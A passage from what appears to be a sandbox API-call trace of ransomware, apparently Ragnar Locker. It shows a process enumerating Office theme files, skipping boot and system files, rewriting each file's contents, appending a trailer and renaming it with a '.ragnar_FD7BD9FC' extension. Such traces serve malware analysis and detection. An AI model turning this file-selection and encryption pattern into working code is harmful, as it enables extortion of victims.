lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0071.567] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.567] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ce742c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ce742c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.567] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.567] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ce742c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ce742c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.567] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.567] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.567] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0071.567] lstrcmpiW (lpString1="CASCADE.ELM", lpString2=".") returned 1 [0071.567] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="..") returned 1 [0071.567] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0071.567] lstrcmpiW (lpString1="CASCADE.INF", lpString2=".") returned 1 [0071.567] lstrcmpiW (lpString1="CASCADE.INF", lpString2="..") returned 1 [0071.567] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.567] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.567] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.568] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce742c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ce742c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.568] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.568] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.568] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.568] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.568] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.568] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.568] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ce742c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ce742c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.568] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ce742c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ce742c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.568] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0071.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0071.568] lstrcpyW (in: lpString1=0x1eab70, lpString2="CASCADE.ELM" | out: lpString1="CASCADE.ELM") returned="CASCADE.ELM" [0071.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM") returned=".ELM" [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="autorun.inf") returned 1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="boot.ini") returned 1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="bootfont.bin") returned 1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="bootsect.bak") returned 1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="bootmgr") returned 1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="bootmgr.efi") returned 1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="bootmgfw.efi") returned 1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="desktop.ini") returned -1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="iconcache.db") returned -1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="ntldr") returned -1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="ntuser.dat") returned -1 [0071.568] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="ntuser.dat.log") returned -1 [0071.569] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="ntuser.ini") returned -1 [0071.569] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="thumbs.db") returned -1 [0071.569] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.569] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.569] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.569] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.569] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.569] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.569] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm")) returned 0x20 [0071.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.569] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=47684) returned 1 [0071.569] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xba3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.569] GetProcessHeap () returned 0x580000 [0071.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.569] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.882] VirtualAlloc (lpAddress=0x0, dwSize=0xba44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.898] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.905] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.911] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xba44, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xba44, lpOverlapped=0x0) returned 1 [0071.980] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.012] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xba44, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.018] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xba44, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xba44, lpOverlapped=0x0) returned 1 [0072.036] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xba44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.040] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.061] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xba44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.063] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.063] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.063] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.063] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.064] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.064] GetProcessHeap () returned 0x580000 [0072.064] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.064] CloseHandle (hObject=0x100) returned 1 [0072.065] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" [0072.065] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.ragnar_FD7BD9FC" [0072.065] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0072.170] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.170] lstrcpyW (in: lpString1=0x1eab70, lpString2="CASCADE.INF" | out: lpString1="CASCADE.INF") returned="CASCADE.INF" [0072.170] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF") returned=".INF" [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="autorun.inf") returned 1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="boot.ini") returned 1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="bootfont.bin") returned 1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="bootsect.bak") returned 1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="bootmgr") returned 1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="bootmgr.efi") returned 1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="bootmgfw.efi") returned 1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="desktop.ini") returned -1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="iconcache.db") returned -1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="ntldr") returned -1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="ntuser.dat") returned -1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="ntuser.dat.log") returned -1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="ntuser.ini") returned -1 [0072.170] lstrcmpiW (lpString1="CASCADE.INF", lpString2="thumbs.db") returned -1 [0072.170] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0072.171] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0072.171] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0072.171] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0072.171] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0072.171] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0072.171] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0072.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf")) returned 0x20 [0072.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.171] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=610) returned 1 [0072.171] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x259, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.171] GetProcessHeap () returned 0x580000 [0072.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.171] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.172] VirtualAlloc (lpAddress=0x0, dwSize=0x262, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.172] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.172] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.172] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x262, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x262, lpOverlapped=0x0) returned 1 [0072.172] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.172] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x262, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.172] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x262, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x262, lpOverlapped=0x0) returned 1 [0072.173] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x262, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.173] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.173] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x262, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.173] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.173] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.173] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.173] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.173] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.173] GetProcessHeap () returned 0x580000 [0072.173] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.173] CloseHandle (hObject=0x100) returned 1 [0072.235] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" [0072.235] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.ragnar_FD7BD9FC" [0072.235] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.236] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0072.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned=".GIF" [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0072.236] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0072.236] 